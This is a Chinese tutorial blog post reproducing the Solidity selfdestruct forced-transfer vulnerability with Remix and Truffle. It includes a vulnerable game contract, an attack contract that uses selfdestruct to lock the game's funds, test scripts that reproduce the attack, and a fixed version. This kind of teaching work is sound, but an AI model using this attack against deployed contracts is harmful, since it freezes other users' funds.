FISCO BCOS十三、通过Truffle和remix实现合约自毁漏洞(以及修复方法)

一、分析

1、前置知识

上一篇我写了通过Truffle和remix复现智能合约的溢出漏洞(以及修复方法),这一篇让我们来了解一下合约另外一个漏洞--自毁漏洞。

我们先来了解 solidity 中能够转账的操作都有哪些:

  1. transfer:转账出错会抛出异常后面代码不执行;
  2. send:转账出错不会抛出异常只返回 true/false 后面代码继续执行;
  3. call.value().gas()():转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击(这里可查阅:通过Truffle和remix实现智能合约的重入攻击)。

上面三种都需要目标接收转账才能成功将代币转入目标地址,下面我们来看一个不需要接受就能给合约转账的函数:自毁函数。

自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。今天我们就来看一个攻击者利用自毁函数的强制转账特性对智能合约发起攻击导目标合约瘫痪的案例。

2、漏洞合约

pragma solidity ^0.8.3;
contract EtherGame {
    uint public targetAmount = 7 wei;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 wei, "You can only send 1 Ether");
        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");
        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
}

EtherGame.sol定义了俩个方法:

  1. deposit(): 玩家可以存款 1 wei,当存款总额达到目标金额时,最后一次存款的玩家将成为获胜者。
  2. claimReward(): 仅获胜者可调用此方法来领取奖励,即合约的余额。

漏洞分析:

EtherGame 合约实现的功能是一个游戏,我们这里可以称它为“幸运七”。玩家每次向 EtherGame 合约中打入一个以太,第七个成功打入以太的玩家将成为 winnerwinner 可以提取合约中的 7 个以太。

玩家每次玩游戏时都会调用 EtherGame.deposit 函数向合约中先打入一个以太,随后函数会检查合约中的余额(balance)是否小于等于 7 ,只有合约中的余额小于等于 7 时才能继续否则将回滚。合约中的余额(balance)是通过 address(this).balance 取到的,这就意味着我们只要有办法在产生 winner 之前改变 EtherGame 合约中的余额让他等于 7 就会使该合约瘫痪。这样我们的攻击方向就明确了,只要我们强制给 EtherGame 合约打入一笔以太让该合约中的余额大于或等于 7 这样后面的玩家将无法通过 EtherGame.deposit 的检查,从而使 EtherGame 合约瘫痪,永远无法产生 winner

但是 EtherGame.deposit 函数中存在验证:require(msg.value == 1 wei, "You can only send 1 Ether"),这里要求我们每次只能打一个以太进去,所以通过正常路径是不可能一次向 EtherGame 打入大于 1 枚的以太的,但是我们又需要打入大于 1 枚的以太到 EtherGame 合约中,所以需要找到另外的路径,来将以太转入到 EtherGame 合约中。

这里就要请出我们今天的主角:自毁函数——selfdestruct。从前置知识中我们可以看到,当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,我们可以构造一个攻击合约,然后触发 selfdestruct 函数让攻击合约自毁,攻击合约中的以太就会发送给目标合约。这样我们就可以一次向 EtherGame 合约中打入多枚以太,而不通过 EtherGame.deposit 函数,从而完成攻击。

举个例子:在极端情况下,如果已经有六个玩家参与了游戏且成功向合约中各自打入了 1 个以太,此时合约中有 6 枚以太,这样我们只需要用 selfdestruct 强制打入一枚以太,而不走 EtherGame.deposit 的逻辑,就会导致 EtherGame 合约记账错误, 从而导致合约瘫痪(DoS),就会造成合约中的 6 枚以太无法取出,因为此时还没有诞生出 winner。(当然也可以通过 EtherGame.deposit 将以太转入到合约中,这样是可以成为 winner 然后取出合约中的 7 枚以太,不过这种情况我们就先不做讨论,本篇仅讨论 selfdestruct 的本身的机制可能带来的攻击面)。

下面我们来看攻击合约:

3、攻击合约

import "./EtherGame.sol";
pragma solidity ^0.8.3;
contract Attack {
    EtherGame etherGame;
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

 这里我们看一下如何通过自毁来实现漏洞(这里举例三个玩家分别是,海绵宝宝,派大星,蟹老板)

  1. 首先开发者部署 EtherGame.sol 合约;
  2. 玩家 蟹老板 连续调用 6 次合约 EtherGame.deposit() 方法,往合约里存储了6个以太B;
  3. 此时攻击者 派大星 部署 Attack 合约并在构造函数里传入EtherGame合约的地址;
  4. 攻击者 派大星 调用 Attack.attack 并设置 msg.value = 1, 函数触发 selfdestruct 将 1 个以太B强制打入 EtherGame 合约中,此时EtherGame 合约中有七个以太B
  5. 此时玩家 海绵宝宝 也决定玩这一个游戏,存入 1 个以太B之后,合约中有 8 个以太币了,无法通过require(balance <= targetAmount,"Game is Over")的检查并且会触发回滚。到这里我们已经成功的使 EtherGame 合约瘫痪了,这个游戏将永远不会产生 winner, 6 个以太被永远的锁在了 EtherGame 合约中。哎,可怜的 蟹老板,可恶的 派大星

二、测试复现

1、remix复现

1.1、分别部署 EtherGame.solAttack.sol 部署 Attack.sol 时传入 EtherGame.sol 合约地址

 1.2、玩家 蟹老板 连续调用 6 次合约 EtherGame.deposit() 方法,往合约里存储了6个以太B;

 1.3、攻击者 派大星 调用 Attack.attack,并且查看EtherGame.sol合约中的以太B

由图可知攻击者 派大星 已经通过攻击合约中的自毁函数,强行打入了一个以太B到 EtherGame.sol 合约中了

1.4、海绵宝宝此时调用 EtherGame.sol 合约的deposit方法,存储以太币,但是会出来Game is Over ,说明攻击成功

remix复现完成,下面我们来看看Truffle复现

2、Truffle复现 

这里环境我就不部署了,不会的可以看我上上一篇文章智能合约的重入攻击漏洞

2.1、创建空的工程项目(创建完成后需要根据合约版本修改truffle-config.js文件中的版本号,相对应即可)

truffle init

 2.2、编写迁移脚本(在migrations目录下)

1_init_EtherGame.js 文件:

const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");

module.exports = async function(deployer){
    await deployer.deploy(EtherGame);
    const a = await EtherGame.deployed();
    await deployer.deploy(Attack,a.address);
}

2.3、编写测试文件(test文件下)

EtherGameTest.js 文件:

const EtherGame = artifacts.require("EtherGame");
const Attack = artifacts.require("Attack");

contract("EtherGame",async(accounts) => {
    it("EtherGame Test1",async() => {
        const EtherGameSol = await EtherGame.deployed();
        const AttackSol = await Attack.deployed();
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await EtherGameSol.deposit({from: accounts[0],value: 1});
        await AttackSol.attack({value: 1});
        const instance = await EtherGameSol.getBalance();
        assert.equal(instance,7,"Attack fail");
        });
    it("EtherGame Test2",async() => {
        const EtherGameSol = await EtherGame.deployed();
        await EtherGameSol.deposit({from: accounts[1],value: 1});
    });
})

此测试文件实现的就是上述的流程 。

执行测试文件

可以看出测试完成,漏洞复现!!! 

三、漏洞修复

这里我们就拿上面的漏洞合约 EtherGame 来说,这个合约可以被攻击者攻击是因为依赖了 address(this).balance 来获取合约中的余额且这个值可以影响业务逻辑,所以我们这里可以设置一个变量 balance,只有玩家通过 EtherGame.deposit 成功向合约打入以太后 balance 才会增加。这样只要不是通过正常途径进来的以太都不会影响我们的 balance 了,避免强制转账导致的记账错误。下面是修复代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 3 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
}

 到这里自毁函数漏洞的原理实现和测试都已经完成了,这里就不手把手教你们再通过 truffle 实现修复了,相信看过前俩篇的你已经学会了熟练使用 truffle,实现任意合约的测试了!!!

猜你喜欢

转载自blog.csdn.net/qq_63235624/article/details/134408320